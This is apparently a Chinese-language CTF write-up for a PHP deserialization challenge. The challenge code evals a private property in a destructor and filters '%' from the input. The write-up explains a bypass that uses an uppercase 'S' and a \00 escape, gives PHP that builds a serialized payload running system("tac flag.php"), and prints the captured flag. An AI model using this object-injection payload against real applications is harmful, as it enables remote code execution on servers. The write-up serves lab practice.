<?php
include("flag.php"); //执行文件包含操作读取文件内容
highlight_file(__FILE__);
class secret{ //定义一个secret类,secret类中有私有属性comm
private $comm;
public function __construct($com){ //创建对象时触发,在创建对象时传入的comm变量的值赋值给comm属性
$this->comm = $com;
}
function __destruct(){ //当对象销毁时触发,输出eval执行comm值的结果
echo eval($this->comm);
}
}
$param=$_GET['param'];
$param=str_replace("%","daydream",$param);
unserialize($param);
?>private属性序列化的时候格式是 %00类名%00成员名,但是%都会被替换成daydream,所以将%00替换成\00
与小写"s"不同,大写"S"表示键名或属性名是区分大小写的。大写 S 能解决私有属性空字符的传输和解析问题。
大写 S:带转义的字符串: S:长度:"字符串内容(支持十六进制转义)";
支持用 \xXX 表示十六进制字符,能精准表示空字符;
小写:私有属性 $comm 的键名是 \00secret\00comm(\00 是空字符),用小写 s 序列化后,空字符会变成不可见的空白,传输或解析时容易丢失或被截断,导致反序列化时无法识别私有属性,最终 $comm 赋值失败,命令执行不了。
大写:用 大写的S,反序列化时 PHP 会自动把 \00 解析成空字符,精准匹配私有属性 $comm,从而让 eval() 执行传入的 system("tac flag.php"); 命令。这道题的思路是,在创建对象时传入的comm,值为system("tac flag.php");,在脚本结束后触发__destruct()方法后就会使用eval来执行system("tac flag.php");就得到flag了
但是str_replace();这个函数会将%替换为daydream,而代码中$comm属性是私有属性所以一定会存在% ,我们可以将%00(这个url空字符)替换为\00这个ASCII 0 空字符
但是小写的s会使空字符会变成不可见的空白,所以将小写s替换成S<?php
class secret{
private $comm;
public function __construct($com){
$this->comm = $com;
}
function __destruct(){
echo eval($this->comm);
}
}
$a=new secret('system("tac flag.php");');
echo serialize($a); //O:6:"secret":1:{s:12:" secret comm";s:23:"system("tac flag.php");";}
echo urlencode('O:6:"secret":1:{S:12:"\00secret\00comm";s:23:"system("tac flag.php");";}');
?>
Geesec{d0e216eb-be4a-4663-9b73-6fcee8a48cbf}